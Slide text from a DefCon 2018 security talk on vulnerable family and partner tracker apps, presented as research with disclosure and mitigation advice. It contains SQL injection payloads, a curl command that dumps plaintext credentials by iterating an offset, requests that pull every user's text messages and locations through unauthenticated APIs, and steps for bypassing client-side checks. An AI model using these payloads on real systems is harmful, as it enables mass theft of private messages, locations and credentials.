All your family secrets belong to us - Worrisome security issues in tracker apps Siegfried Rasthofer | Fraunhofer SIT, Germany Stephan Huber | Fraunhofer SIT, Germany DefCon26, August 11th 2018 Who are we? § Head of department Secure Software Engineering § PhD, M.Sc., B.Sc. in computer science § Static and dynamic code analysis § Founder of @TeamSIK and @CodeInspect § Security researcher @Testlab Mobile Security § Code analysis tool development § IOT stuff § Founder of @TeamSIK Siegfried Stephan 2 Who are we? Siegfried Stephan (creds to: Alex, Daniel, Julien, Julius, Michael, Philipp, Steven, Kevin, Sebald, Ben) 3 § Head of department Secure Software Engineering § PhD, M.Sc., B.Sc. in computer science § Static and dynamic code analysis § Founder of @TeamSIK and @CodeInspect § Security researcher @Testlab Mobile Security § Code analysis tool development § IOT stuff § Founder of @TeamSIK Beer Announcement 4 Agenda § Motivation § Background Information § Client-Side Authorization § Client-Side and Communication Vulnerabilities § Server-Side Vulnerabilities § Responsible Disclosure Process § Summary 5 Agenda § Motivation § Background Information § Client-Side Authorization § Client-Side and Communication Vulnerabilities § Server-Side Vulnerabilities § Responsible Disclosure Process § Summary 6 Surveillance - Then 1960: Radio receiver inside pipe 1970: Microphone inside a dragonfly * Source: http://www.businessinsider.com/ 1960: Camera inside a pack of cigarettes 7 Surveillance - Now Spyware/RAT 8 Surveillance - Now Benign Reasons? Spyware/RAT 9 Surveillance - Now Benign Reasons? Family Couple Friends 10 Good vs. Bad Family Couple Friends Spyware/RAT 11 Surveillance - Apps *Android Security Report 2017 Google Play Store 12 How well is the collected data protected? 13 App Name Google Play Store Installations Couple Tracker App 5-10 m My Family GPS Tracker KidControll GPS Tracker Rastrear Celular Por el Numero Phone Tracker By Number Couple Vow Real Time GPS Tracker Ilocatemobile 1-5m Family Locator (GPS) Free Cell Tracker Rastreador de Novia Phone Tracker Free Phone Tracker Pro Rastreador de Celular Avanzado 100-500k Rastreador de Novia Localiser un Portable avec son Numero 50-100k Handy Orten per Handynr 10-50k Track My Family 1k 14 App Name Google Play Store Installations Couple Tracker App 5-10 m My Family GPS Tracker KidControll GPS Tracker Rastrear Celular Por el Numero Phone Tracker By Number Couple Vow Real Time GPS Tracker Ilocatemobile 1-5m Family Locator (GPS) Free Cell Tracker Rastreador de Novia Phone Tracker Free Phone Tracker Pro Rastreador de Celular Avanzado 100-500k Rastreador de Novia Localiser un Portable avec son Numero 50-100k Handy Orten per Handynr 10-50k Track My Family 1k 15 Takeaways It is very easy to… § Enable premium features without paying § Access highly sensitive data of a person § Perform mass surveillance in real-time 16 Agenda § Motivation § Background Information § Client-Side Authorization § Client-Side and Communication Vulnerabilities § Server-Side Vulnerabilities § Responsible Disclosure Process § Summary 17 How does it work? – Very simple push Observer Monitored Person pull Tracking Provider (back-end/cloud) 18 What kind of data? push Observer Monitored Person pull TEXT 19 What kind of data? push Observer Monitored Person pull TEXT 20 Attack Vectors push Observer Monitored Person pull 21 Attack Vectors push Observer Monitored Person pull 22 Attack Vectors push Observer Monitored Person pull 23 Agenda § Motivation § Background Information § Client-Side Authorization § Client-Side and Communication Vulnerabilities § Server-Side Vulnerabilities § Responsible Disclosure Process § Summary 24 101 1. Authentication Process 2. Authorization Process Observer 25 WTF? 1. Authentication Process Observer 26 WTF? 1. Authentication Process 2. Client-Side Authorization Observer 27 WTF 1/4 – Enable Premium Features 28 WTF 1/4 – Enable Premium Features boolean removeAd = SharedPref.getBoolean("l_ads", false) if(removeAd) { this.setVisibility(View.GONE); } else { ... } 29 WTF 1/4 – Enable Premium Features /data/data/com.bettertomorrowapps.spyyourlovefree/ shared_prefs/loveMonitoring.xml <boolean name="l_location_full" value="false" /> <boolean name="l_fb_full" value="false" /> <boolean name="l_loc" value="false" /> <boolean name="l_sms" value="false" /> <boolean name="l_ads" value="false" /> <boolean name="l_sms_full" value="false" /> <boolean name="l_call" value="false" /> <boolean name="l_fb" value="false" /> boolean removeAd = SharedPref.getBoolean("l_ads", false) if(removeAd) { this.setVisibility(View.GONE); } else { ... } 30 SharedPreferences Backup/Restore § Rooted device: 1. copy loveMonitoring.xml from app folder to pc 2. modify file, set false to true 3. copy back and overwrite orig. file with modified file § Unrooted device: adb backup adb restore convert * modify file *https://github.com/nelenkov/android-backup-extractor adb tool 31 WTF 1/4 – Enable Premium Features /data/data/com.bettertomorrowapps.spyyourlovefree/ shared_prefs/loveMonitoring.xml <boolean name="l_location_full" value="false" /> <boolean name="l_fb_full" value="false" /> <boolean name="l_loc" value="false" /> <boolean name="l_sms" value="false" /> <boolean name="l_ads" value="false" /> <boolean name="l_sms_full" value="false" /> <boolean name="l_call" value="false" /> <boolean name="l_fb" value="false" /> 32 WTF 1/4 – Enable Premium Features /data/data/com.bettertomorrowapps.spyyourlovefree/ shared_prefs/loveMonitoring.xml <boolean name="l_location_full" value="false" /> <boolean name="l_fb_full" value="false" /> <boolean name="l_loc" value="false" /> <boolean name="l_sms" value="false" /> <boolean name="l_ads" value="false" /> <boolean name="l_sms_full" value="false" /> <boolean name="l_call" value="false" /> <boolean name="l_fb" value="false" /> 33 WTF 1/4 – Enable Premium Features 1. Give me all text messages Observer 34 WTF 1/4 – Enable Premium Features 1. Give me all text messages 2. Ok: msg1, msg2, msg3, … Observer 35 WTF 1/4 – Enable Premium Features 1. Give me all text messages if(getBoolean(“l_sms_full”) == false) { String[] msgs = getAllMsgs(); … singleMsg = msgs[i].substring(0, 50); } else { //return complete text messages } 2. Ok: msg1, msg2, msg3, … Observer 36 3. Client “Authorization” Check WTF 1/4 – Enable Premium Features 1. Give me all text messages if(getBoolean(“l_sms_full”) == false) { String[] msgs = getAllMsgs(); … singleMsg = msgs[i].substring(0, 50); } else { //return complete text messages } 2. Ok: msg1, msg2, msg3, … Observer 37 3. Client “Authorization” Check WTF 2/4 – Admin Privileges • App supports two modes: • parent (controller/administration) • children (monitored) • Administrator can create new Administrators • Administrator can monitor all children 38 WTF 2/4 – Admin Privileges • App supports two modes: • parent (controller/administration) • children (monitored) • Administrator can create new Administrators • Administrator can monitor all children ???? 39 WTF 2/4 – Admin Privileges • App supports two modes: • parent (controller/administration) • children (monitored) • Administrator can create new Administrators • Administrator can monitor all children <boolean name="isLogin" value="true" /> <boolean name="isParent" value="true" /> 40 WTF 3/4 - Remove Lockscreen 41 WTF 3/4 - Remove Lockscreen § After app start the lock screen asks for pin ???? 42 Remove Lockscreen § After app start the lock screen asks for pin § To remove the lock screen, change SharedPreference value from true to false <boolean name="pflag" value="true" /> <boolean name="pflag" value="false" /> 43 WTF 4/4 – Authentication Bypass § Same works with login, no password required <boolean name="isLogin" value="false" /> <boolean name="isLogin" value="true" /> 44 Do not use SharedPreferences for authorization checks!! 45 Agenda § Motivation § Background Information § Client-Side Authorization § Client-Side and Communication Vulnerabilities § Server-Side Vulnerabilities § Responsible Disclosure Process § Summary 46 Mitm Attack user/app tracking provider (back-end/cloud) DATA DATA 47 Mitm Attack user/app tracking provider (back-end/cloud) DATA DATA 48 Mitm Attack user/app tracking provider (back-end/cloud) DATA DATA 49 Mitm Attack user/app tracking provider (back-end/cloud) DATA DATA 50 Mitm + Bad Crypto + Obfuscation ?? 51 Mitm + Bad Crypto + Obfuscation ?? [email protected] secure123 52 Mitm + Bad Crypto + Obfuscation GET /login/?aaa=Bi9srqo&nch=DzttDRMbYQcAPmUfAGQZHDxOJRMbclZeKQ%3D%3D%0A& tnd=CFF1CxQoaQcoLWoRaQ%3D%3D%0A HTTP/1.1 http://s9.***********.com/login/?aaa... 53 Mitm + Bad Crypto + Obfuscation GET /login/? aaa=Bi9srqo& nch=DzttDRMbYQcAPmUfAGQZHDxOJRMbclZeKQ%3D%3D%0A& tnd=CFF1CxQoaQcoLWoRaQ%3D%3D%0A HTTP/1.1 1. [email protected] secure123 54 Mitm + Bad Crypto + Obfuscation GET /login/? aaa=Bi9srqo& nch=DzttDRMbYQcAPmUfAGQZHDxOJRMbclZeKQ%3D%3D%0A& tnd=CFF1CxQoaQcoLWoRaQ%3D%3D%0A HTTP/1.1 GET /login/? ssp=CFF1CxQoaQcoLWoRaQ%3D%3D%0A& eml=4hBWVqJg4D& mix=DzttDRMbYQcAPmUfAGQZHDxOJRMbclZeKQ%3D%3D%0A HTTP/1.1 1. 2. [email protected] secure123 55 Mitm + Bad Crypto + Obfuscation GET /login/? aaa=Bi9srqo& nch=DzttDRMbYQcAPmUfAGQZHDxOJRMbclZeKQ%3D%3D%0A& tnd=CFF1CxQoaQcoLWoRaQ%3D%3D%0A HTTP/1.1 GET /login/? ssp=CFF1CxQoaQcoLWoRaQ%3D%3D%0A& eml=4hBWVqJg4D& mix=DzttDRMbYQcAPmUfAGQZHDxOJRMbclZeKQ%3D%3D%0A HTTP/1.1 GET /login/? psw=-ZI-WQe& amr=DzttDRMbYQcAPmUfAGQZHDxOJRMbclZeKQ%3D%3D%0A& rma=CFF1CxQoaQcoLWoRaQ%3D%3D%0A HTTP/1.1 1. 2. 3. [email protected] secure123 56 Mitm + Bad Crypto + Obfuscation GET /login/? aaa=Bi9srqo& nch=DzttDRMbYQcAPmUfAGQZHDxOJRMbclZeKQ%3D%3D%0A& tnd=CFF1CxQoaQcoLWoRaQ%3D%3D%0A HTTP/1.1 GET /login/? ssp=CFF1CxQoaQcoLWoRaQ%3D%3D%0A& eml=4hBWVqJg4D& mix=DzttDRMbYQcAPmUfAGQZHDxOJRMbclZeKQ%3D%3D%0A HTTP/1.1 GET /login/? psw=-ZI-WQe& amr=DzttDRMbYQcAPmUfAGQZHDxOJRMbclZeKQ%3D%3D%0A& rma=CFF1CxQoaQcoLWoRaQ%3D%3D%0A HTTP/1.1 GET /login/? aaa=ZTZrO& mag=DzttDRMbYQcAPmUfAGQZHDxOJRMbclZeKQ%3D%3D%0A& df=CFF1CxQoaQcoLWoRaQ%3D%3D%0A& data=5JFJzgYW_ HTTP/1.1 1. 2. 3. 4. [email protected] secure123 57 Mitm + Bad Crypto + Obfuscation GET /login/? aaa=Bi9srqo& nch=DzttDRMbYQcAPmUfAGQZHDxOJRMbclZeKQ%3D%3D%0A& tnd=CFF1CxQoaQcoLWoRaQ%3D%3D%0A HTTP/1.1 GET /login/? ssp=CFF1CxQoaQcoLWoRaQ%3D%3D%0A& eml=4hBWVqJg4D& mix=DzttDRMbYQcAPmUfAGQZHDxOJRMbclZeKQ%3D%3D%0A HTTP/1.1 GET /login/? psw=-ZI-WQe& amr=DzttDRMbYQcAPmUfAGQZHDxOJRMbclZeKQ%3D%3D%0A& rma=CFF1CxQoaQcoLWoRaQ%3D%3D%0A HTTP/1.1 GET /login/? aaa=ZTZrO& mag=DzttDRMbYQcAPmUfAGQZHDxOJRMbclZeKQ%3D%3D%0A& df=CFF1CxQoaQcoLWoRaQ%3D%3D%0A& data=5JFJzgYW_ HTTP/1.1 1. 2. 3. 4. [email protected] secure123 58 Mitm + Bad Crypto + Obfuscation GET /login/? aaa=Bi9srqo& nch=DzttDRMbYQcAPmUfAGQZHDxOJRMbclZeKQ%3D%3D%0A& tnd=CFF1CxQoaQcoLWoRaQ%3D%3D%0A HTTP/1.1 GET /login/? ssp=CFF1CxQoaQcoLWoRaQ%3D%3D%0A& eml=4hBWVqJg4D& mix=DzttDRMbYQcAPmUfAGQZHDxOJRMbclZeKQ%3D%3D%0A HTTP/1.1 GET /login/? psw=-ZI-WQe& amr=DzttDRMbYQcAPmUfAGQZHDxOJRMbclZeKQ%3D%3D%0A& rma=CFF1CxQoaQcoLWoRaQ%3D%3D%0A HTTP/1.1 GET /login/? aaa=ZTZrO& mag=DzttDRMbYQcAPmUfAGQZHDxOJRMbclZeKQ%3D%3D%0A& df=CFF1CxQoaQcoLWoRaQ%3D%3D%0A& data=5JFJzgYW_ HTTP/1.1 1. 2. 3. 4. [email protected] secure123 59 Mitm + Bad Crypto + Obfuscation 'k', 'c', '#', 'a', 'p', 'p', '#', 'k', 'e', 'y', '#' 60 Mitm + Bad Crypto + Obfuscation DzttDRMbYQcAPmUfAGQZHDxOJRMbclZeKQ== Base64 'k', 'c', '#', 'a', 'p', 'p', '#', 'k', 'e', 'y', '#' [email protected] @ XOR 61 Mitm + Bad Crypto + Obfuscation mag = DzttDRMbYQcAPmUfAGQZHDxOJRMbclZeKQ%3D%3D%0A amr = DzttDRMbYQcAPmUfAGQZHDxOJRMbclZeKQ%3D%3D%0A mix = DzttDRMbYQcAPmUfAGQZHDxOJRMbclZeKQ%3D%3D%0A nch = DzttDRMbYQcAPmUfAGQZHDxOJRMbclZeKQ%3D%3D%0A Base64 {nl, bhf, mag, bdt, qac, trn, amr, mix, nch} Random() “=“ + + 'k', 'c', '#', 'a', 'p', 'p', '#', 'k', 'e', 'y', '#' [email protected] @ XOR 62 Mitm + Bad Crypto + Obfuscation mag = DzttDRMbYQcAPmUfAGQZHDxOJRMbclZeKQ%3D%3D%0A CFF1CxQoaQcoLWoRaQ%3D%3D%0A = tnd CFF1CxQoaQcoLWoRaQ%3D%3D%0A = ssp CFF1CxQoaQcoLWoRaQ%3D%3D%0A = rma CFF1CxQoaQcoLWoRaQ%3D%3D%0A = df amr = DzttDRMbYQcAPmUfAGQZHDxOJRMbclZeKQ%3D%3D%0A mix = DzttDRMbYQcAPmUfAGQZHDxOJRMbclZeKQ%3D%3D%0A nch = DzttDRMbYQcAPmUfAGQZHDxOJRMbclZeKQ%3D%3D%0A XOR Base64 {nl, bhf, mag, bdt, qac, trn, amr, mix, nch} Random() “=“ + + {df,/ssp,/fgh,/ drt,/tnd,/rfb,/rma,/vwe,/hac} secure123 ******** Random() “=“ + + 'k', 'c', '#', 'a', 'p', 'p', '#', 'k', 'e', 'y', '#' [email protected] @ XOR Base64 63 Mitm + Bad Crypto + Obfuscation CFF1CxQoaQcoLWoRaQ== DzttDRMbYQcAPmUfAGQZHDxOJRMbclZeKQ== decode Base64 decode Base64 64 Mitm + Bad Crypto + Obfuscation CFF1CxQoaQcoLWoRaQ== DzttDRMbYQcAPmUfAGQZHDxOJRMbclZeKQ== XOR decode Base64 secure123 ******** 'k', 'c', '#', 'a', 'p', 'p', '#', 'k', 'e', 'y', '#' [email protected] @ XOR decode Base64 65 Mitm + Bad Crypto + Obfuscation @ ******** GET /login/? aaa=Bi9srqo& nch=DzttDRMbYQcAPmUfAGQZHDxOJRMbclZeKQ%3D%3D%0A& tnd=CFF1CxQoaQcoLWoRaQ%3D%3D%0A data=5JFJzgYW_ HTTP/1.1 {usr, psw, uid, data, eml, pss, foo, clmn, count, nam, srv, answ, aaa } Random() “=“ + + GenerateRandomString() 66 67 Correct Secure Communication § Use https via TLS 1.2 or TLS 1.3 § Valid server certificate 68 Correct Secure Communication § Use https via TLS 1.2 or TLS 1.3 § Valid server certificate § Implementation in Android: URL url = new URL("https://wikipedia.org"); URLConnection urlConnection = url.openConnection(); val url = URL("https://wikipedia.org") val urlConnection: URLConnection = url.openConnection() Java: https://developer.android.com/training/articles/security-ssl#java Kotlin: 69 “Authentication“ 70 “Authentication“ … Message message = new Message(); try { Class.forName("com.mysql.jdbc.Driver"); Connection con = DriverManager. getConnection( ); try { … 71 “Authentication“ … Message message = new Message(); try { Class.forName("com.mysql.jdbc.Driver"); Connection con = DriverManager. getConnection("jdbc:mysql://mysql.r*****************r.mobi/r*************06", "r*************06", "t**********b"); try { … 72 “Authentication“ … Message message = new Message(); try { Class.forName("com.mysql.jdbc.Driver"); Connection con = DriverManager. getConnection("jdbc:mysql://mysql.r*****************r.mobi/r*************06", "r*************06", "t**********b"); try { … database address username 73 “Authentication“ … Message message = new Message(); try { Class.forName("com.mysql.jdbc.Driver"); Connection con = DriverManager. getConnection("jdbc:mysql://mysql.r*****************r.mobi/r*************06", "r*************06", "t**********b"); try { … database address username password 74 “Authentication“ § MySQL Database with following table scheme: Field Type Null Key Default Extra nome varchar(50) NO NULL email varchar(30) NO NULL latitude varchar(30) NO NULL longitude varchar(30) NO NULL data varchar(30) NO NULL hora varchar(30) NO NULL codrenavam varchar(30) NO NULL placa Varchar(30) NO PRI NULL 75 “Authentication“ … Message message = new Message(); try { Class.forName("com.mysql.jdbc.Driver"); Connection con = DriverManager. getConnection("jdbc:mysql://mysql.r*****************r.mobi/r*************06", "r*************06", "t**********b"); try { … database address username password All in all we had access to over 860.000 location data of different users, distributed over the whole world. 76 Is that all ? 77 Prepared Statement? WTF! … Message message = new Message(); try { Class.forName("com.mysql.jdbc.Driver"); Connection con = DriverManager. getConnection("jdbc:mysql://mysql.r*****************r.mobi/r*************06", "r*************06", "t**********b"); try { PreparedStatement prest = con.prepareStatement("insert rastreadorpessoal values(?)"); 78 Prepared Statement? WTF! … Message message = new Message(); try { Class.forName("com.mysql.jdbc.Driver"); Connection con = DriverManager. getConnection("jdbc:mysql://mysql.r*****************r.mobi/r*************06", "r*************06", "t**********b"); try { PreparedStatement prest = con.prepareStatement("insert rastreadorpessoal values(?)"); prest.executeUpdate("insert into rastreadorpessoal values('" + this.atributos.getNome() + "', '" + this.atributos.getEmail() + "', '" + this.atributos.getLatitudeStr() + "', '" + this.atributos.getLongitudeStr() + "', '" + this.atributos.getDataBancoStr() + "', '" + this.atributos.getHoraBancoStr() + "', '" + this.atributos.getRenavam() + "', '" + this.atributos.getPlaca() + "')"); prest.close(); con.close(); … 79 Prepared Statement? WTF! … Message message = new Message(); try { Class.forName("com.mysql.jdbc.Driver"); Connection con = DriverManager. getConnection("jdbc:mysql://mysql.r*****************r.mobi/r*************06", "r*************06", "t**********b"); try { PreparedStatement prest = con.prepareStatement("insert rastreadorpessoal values(?)"); prest.executeUpdate("insert into rastreadorpessoal values('" + this.atributos.getNome() + "', '" + this.atributos.getEmail() + "', '" + this.atributos.getLatitudeStr() + "', '" + this.atributos.getLongitudeStr() + "', '" + this.atributos.getDataBancoStr() + "', '" + this.atributos.getHoraBancoStr() + "', '" + this.atributos.getRenavam() + "', '" + this.atributos.getPlaca() + "')"); prest.close(); con.close(); … 80 Stupid ! 81 Agenda § Motivation § Background Information § Client-Side Authorization § Client-Side and Communication Vulnerabilities § Server-Side Vulnerabilities § Responsible Disclosure Process § Summary 82 101 1. Authentication Process 2. Authorization Process Observer 83 WTF-States of Server-Side Vulnerabilties 84 85 ”That‘s a feature” Not a Bug it‘s a Feature § Web service provides public access to user tracks, allow all by default 86 Not a Bug it‘s a Feature § Web service provides public access to user tracks, allow all by default 87 Not a Bug it‘s a Feature https://www.greenalp.com/realtimetracker/index.php?viewuser=USERNAME 88 Demo Time ! 89 Is that all ? 90 Public Webinterface 91 Authentication – What? 92 Part1: Who Needs Authentication? http://***********g.azurewebsites.net/trackapplochistory.aspx?userid=********&childid=2***** ***0&currentdate=07/12/2017 93 Part1: Who Needs Authentication? http://***********g.azurewebsites.net/trackapplochistory.aspx?userid=********&childid=2***** ***0&currentdate=07/12/2017 nothing new 94 Part1: Who Needs Authentication? http://***********g.azurewebsites.net/trackapplochistory.aspx?userid=********&childid=2***** ***0&currentdate=07/12/2017 your user id nothing new 95 Part1: Who Needs Authentication? http://***********g.azurewebsites.net/trackapplochistory.aspx?userid=********&childid=2***** ***0&currentdate=07/12/2017 id of the person to track nothing new 96 your user id Part1: Who Needs Authentication? http://***********g.azurewebsites.net/trackapplochistory.aspx?userid=********&childid=2***** ***0&currentdate=07/12/2017 id of the person to track requested date nothing new 97 your user id Part1: Who Needs Authentication? attacker tracker back-end Response for http://***********g.azurewebsites.net/... 07:47 PM*49.8715330929084,8.639047788304 07:52 PM*49.8731935027927,8.63498598738923 07:53 PM*49.871533247265,8.63904788614738 … List of the complete track 98 Part1: Who Needs Authentication? 99 Part2: Who Needs Authentication? § Text message feature § How do we get the messages for a user? 100 Part2: Who Needs Authentication? § Text message feature § How do we get the messages for a user? attacker tracker back-end POST /***************/api/get_sms HTTP/1.1 {"cnt":"100","user_id":"123456"} result counter 101 Part2: Who Needs Authentication? § Text message feature § There is no authentication! attacker tracker back-end List of text msg with: • user_id • timestamp • content • phone number 102 Part2: Who Needs Authentication? § What happens if user_id is empty? attacker tracker back-end POST /***************/api/get_sms HTTP/1.1 {"cnt":"100","user_id":""} 103 Part2: Who Needs Authentication? § What happens if user_id is empty? attacker tracker back-end All messages of all users! TEXT TEXT TEXT TEXT TEXT 104 SQL – Very Simple 105 Back-end Attack to Track all User http://*********/FindMyFriendB/fetch_family.php?mobile=<mobile number> back-end API extraction 106 Back-end Attack to Track all User [{"to_username":“*****","to_mobile":"9********9","lat":"*0.2916455"," lon":"7*.0521764","time":"12:0,27-12-2016"}] http://*********/FindMyFriendB/fetch_family.php?mobile=<mobile number> back-end API extraction 107 Simple SQL Injection http://*********/FindMyFriendB/fetch_family.php?mobile=' or '' =' back-end API extraction 108 Simple SQL Injection back-end API extraction [{"to_username":“***","to_mobile":"9********4","lat":"2*.644490000000005","lon":"*8.35368","time":"18:55,04-12- 2016"},{"to_username":“****","to_mobile":"9******9","lat":“*0.2916455","lon":“*8.0521764","time":"12:0,27-12- 2016"},{"to_username":“****","to_mobile":"9********2","lat":“*3.8710253","lon":“*5.6093338","time":"18:6,19-11- 2016"},{"to_username":“****","to_mobile":"9*******2","lat":“*6.5958902","lon":"-*7.3897167","time":"13:46,04-12- 2016"},{"to_username":“****","to_mobile":"9*******0","lat":“*2.621241065689713","lon":“*8.33497756126259","time":"9:2 5,20-11-2016"},{"to_username":“****","to_mobile":"4********1","lat":“*1.8925267","lon":"-*1.3928747","time":"3:26,12- 022017"},{"to_username":"","to_mobile":"","lat":"","lon":"","time":""},{"to_username":“***","to_mobile":"9********8", "lat":“*5.262387837283313","lon":“*4.10851701162755","time":"23:47,20-11- 2016"},{"to_username":“****","to_mobile":"9*******6","lat":"0","lon":"0","time":"12:35"},{"to_username":“***","to_mob ile":"8********5","lat":“*5.3401165","lon":“*5.1459643","time":"8:45,21-11- 2016"},{"to_username":“****","to_mobile":"8********8","lat":"0","lon":"0","time":"0:32"},{"to_username":“****","to_mo bile":"9********2","lat":“*2.4393024","lon":"-*5.0414924","time":"23:0,20-11- 2016"},{"to_username":“****","to_mobile":"9********8","lat":“*2.4386613","lon":"-*5.0398665","time":"7:14,21-11- 2016"},{"to_username":“****","to_mobile":"8********6","lat":“*3.7005867","lon":“*6.9793598","time":"17:33,24-12- 2016"},{"to_username":“****","to_mobile":"8********5","lat":“*2.584631","lon":“*8.2787425","time":"20:56,22-11- 2016"},{"to_username":“*****","to_mobile":"8********1","lat":“*2.7993167","lon":“*6.2369126","time":"17:49,26-11- 2016"},{"to_username":“****","to_mobile":"9*******5","lat":“*2.5846746","lon":“*8.2787492","time":"18:28,21-11- 2016"},{"to_username":“***","to_mobile":"8*******7","lat":“*2.4069115","lon":"-*1.1435983",... 109 http://*********/FindMyFriendB/fetch_family.php?mobile=' or '' =' SQL - Simple 110 Accessing Images § Cloud storage for images 111 Accessing Images § Cloud storage for images § One cloud for all images 112 Accessing Images § Cloud storage for images § One cloud for all images § User authentication required § Filter corresponding images by user id 113 Accessing Images § Cloud storage for images § One cloud for all images § User authentication required § Filter corresponding images by user id § Bypass cloud authentication to get access to all images 114 Demo Time! 115 Get all User Credentials § App provides an API and a process for reinstallation of the app 1. App checks if user already has an account 2. Sends device id to the server POST http://push001.***********/***********/v5/ Content-Type: application/json {"method":"getuserid","deviceid":"c1b86d87ed6f51011c0d53a654f16455"} 116 Get all User Credentials § App provides an API and a process for reinstallation of the app 1. App checks if user already has an account 2. Sends device id to the server 3. Server checks if id exists and responses with: username, password and email POST http://push001.***********/***********/v5/ Content-Type: application/json {"method":"getuserid","deviceid":"c1b86d87ed6f51011c0d53a654f16455"} 117 Attack Strategy § Spoofing the device id will deliver us credentials § BUT device id generation is relative complex and guessing is unlikely 118 Attack Strategy § Spoofing the device id will deliver us credentials § BUT device id generation is relative complex and guessing is unlikely § Empty id trick does not work L POST http://push001.***********/***********/v5/ Content-Type: application/json {"method":"getuserid","deviceid":" "} 119 Attack Strategy § Spoofing the device id will deliver us credentials § BUT device id generation is relative complex and guessing is unlikely § Empty id trick does not work L § Let‘s try SQL injection again J POST http://push001.***********/***********/v5/ Content-Type: application/json {"method":"getuserid","deviceid":" ' or 1=1 limit 1 offset 5 -- "} 120 SQL-Injection § Curl Command: curl -H "Content-Type: application/json" -X POST -d "{\"method\":\"getuserid\", \"deviceid\":\" ' or 1=1 limit 1 offset 5 -- \"}" http://push001.***********/*********/v5/ 121 SQL-Injection § Curl Command: § Result: curl -H "Content-Type: application/json" -X POST -d "{\"method\":\"getuserid\", \"deviceid\":\" ' or 1=1 limit 1 offset 5 -- \"}" http://push001.***********/*********/v5/ {"result":"success", "id":"yb*****","pass":"y********4","email":"y*****@hanmail.net"} plaintext password 122 SQL-Injection § Curl Command: § Result: curl -H "Content-Type: application/json" -X POST -d "{\"method\":\"getuserid\", \"deviceid\":\" ' or 1=1 limit 1 offset 6 -- \"}" http://push001.***********/*********/v5/ {"result":"success", "id":"se*****","pass":"qwe*******4","email":"se*****@gmail.com"} plaintext password iterate over the offset 123 SQL-Injection § Curl Command: curl -H "Content-Type: application/json" -X POST -d "{\"method\":\"getuserid\", \"deviceid\":\" ' or 1=1 limit 1 offset 1700400 -- \"}" http://push001.***********/*********/v5/ iterate over the offset > 1.700.000 plaintext credentials 124 125 WTF? Firebase https://firebase.google.com/ 126 Authentication Misconfiguration attacker tracker back-end POST /*******celltracker/api/login HTTP/1.1 {"user_email":"[email protected]"} victim email 127 Authentication Misconfiguration attacker tracker back-end user_email user_id [email protected] 149737514214639 [email protected] 145859345853234 … … FREE 128 POST /*******celltracker/api/login HTTP/1.1 {"user_email":"[email protected]"} victim email Authentication Misconfiguration attacker tracker back-end HTTP/1.1 200 OK {"login_data":[{"user_id":"149737514214639",…} user_email user_id [email protected] 149737514214639 [email protected] 145859345853234 … … FREE 129 Authorisation Misconfiguration attacker https://*****************.firebaseio.com/Users/149737514214639 130 Authorisation Misconfiguration attacker user_id last_location … 149737514214639 address = … … 145859345853234 address = … … … … … Table Users Query in Users FREE 131 https://*****************.firebaseio.com/Users/149737514214639 Location without Authorisation attacker HTTP/1.1 200 OK { last_location={ address= Rheinstraße 75 64295 Darmstadt Germany date=13/06/2017 lat=49.8717048 long=8.6387116 … } 132 Faceplam Light 133 But there is More attacker HTTP/1.1 200 OK { … [email protected] user_name=theuser user_password=123456 user_token=cQfgiDRWx9o:APA91bGTkU1N9F... user_type=1 .. } 134 But there is More attacker HTTP/1.1 200 OK { … [email protected] user_name=theuser user_password=123456 user_token=cQfgiDRWx9o:APA91bGTkU1N9F... user_type=1 .. } 135 But there is More HTTP/1.1 200 OK { … [email protected] user_name=theuser user_password=123456 user_token=cQfgiDRWx9o:APA91bGTkU1N9F... user_type=1 .. } public void onDataChange(DataSnapshot dataSnapshot) { PasswordActivity.this.util.log("userid password123", "" + dataSnapshot.getValue()); if(PasswordActivity.get_string_from_edittext(PasswordActivity.ed_password).compareToIgnoreCase( dataSnapshot.getValue().toString()) == 0) { .... PasswordActivity.this.save_user_data(); return; } PasswordActivity.lDialog.dismiss(); PasswordActivity.this.util.toast("Password Wrong"); } 136 Authorisation Misconfiguration attacker https://*****************.firebaseio.com/Users/ no user_id 137 Authorisation Misconfiguration attacker user_id last_location … 149737514214639 address = … … 145859345853234 address = … … … … … Table Users FREE 138 Sh** happens 139 Problems? § Misconfiguration of Firebase, no authorization rules *https://firebase.google.com/docs/auth/ 140 Problems? § Misconfiguration of Firebase, no authorization rules § User authentication is done on app (client) side, user authentication must be done on server side *https://firebase.google.com/docs/auth/ 141 Problems? § Misconfiguration of Firebase, no authorization rules § User authentication is done on app (client) side, user authentication must be done on server side § Use Firebase SDK authentication (e.g. Google Sign-in, custom email - password based, …*) *https://firebase.google.com/docs/auth/ 142 Problems? § Misconfiguration of Firebase, no authorization rules § User authentication is done on app (client) side, user authentication must be done on server side § Use Firebase SDK authentication (e.g. Google Sign-in, custom email - password based, …*) § Custom authentication back-end possible (based on signed tokens, details see**) *https://firebase.google.com/docs/auth/ **https://firebase.google.com/docs/auth/android/custom-auth 143 Agenda § Motivation § Background Information § Client-Side Authorization § Client-Side and Communication Vulnerabilities § Server-Side Vulnerabilities § Responsible Disclosure Process § Summary 144 Responsible Disclosure § Informed vendors, 90 days to fix the bugs § Reactions: § A few: “We will fix it” § No reaction § “How much money do you want” § “It’s not a bug, it’s a feature” § Announced to Google Android Security and to ASI (app security improvement)Team -> no direct reaction § Some apps removed from Google Play Store (12 of 19) § Still vulnerable back-ends and apps in the store § Some apps are detected as malware now 145 Agenda § Motivation § Background Information § Client-Side Authorization § Client-Side and Communication Vulnerabilities § Server-Side Vulnerabilities § Responsible Disclosure Process § Summary 146 Summary § DON‘T use plaintext communication in mobile! 147 Summary § DON‘T use plaintext communication in mobile! § Use prepared statements (in correct way J) to avoid SQL injection 148 Summary § DON‘T use plaintext communication in mobile! § Use prepared statements (in correct way J) to avoid SQL injection § App security is important but also consider back-end security 149 Summary § DON‘T use plaintext communication in mobile! § Use prepared statements (in correct way J) to avoid SQL injection § App security is important but also consider back-end security § DON’T store any user secrets in the app (client side) 150 Summary § DON‘T use plaintext communication in mobile! § Use prepared statements (in correct way J) to avoid SQL injection § App security is important but also consider back-end security § DON’T store any user secrets in the app (client side) § Google provides API for payment and license verification § Authentication and authorization for back-end data (e.g. firebase*) *https://firebase.google.com/docs/auth/ 151 Client-Side Vulnerability Access All Data My Family GPS Tracker X KidControll GPS Tracker X Family Locator (GPS) X X Free Cell Tracker X X Rastreador de Novia 1 X X Rastreador de Novia 2 X X Phone Tracker Free X X Phone Tracker Pro X X Rastrear Celular Por el Numero X X Localizador de Celular GPS X X Rastreador de Celular Avanzado X X Handy Orten per Handynr X X Localiser un Portable avec son Numero X X Phone Tracker By Number X X Track My Family X X Couple Vow X Real Time GPS Tracker X Couple Tracker App X Ilocatemobile X 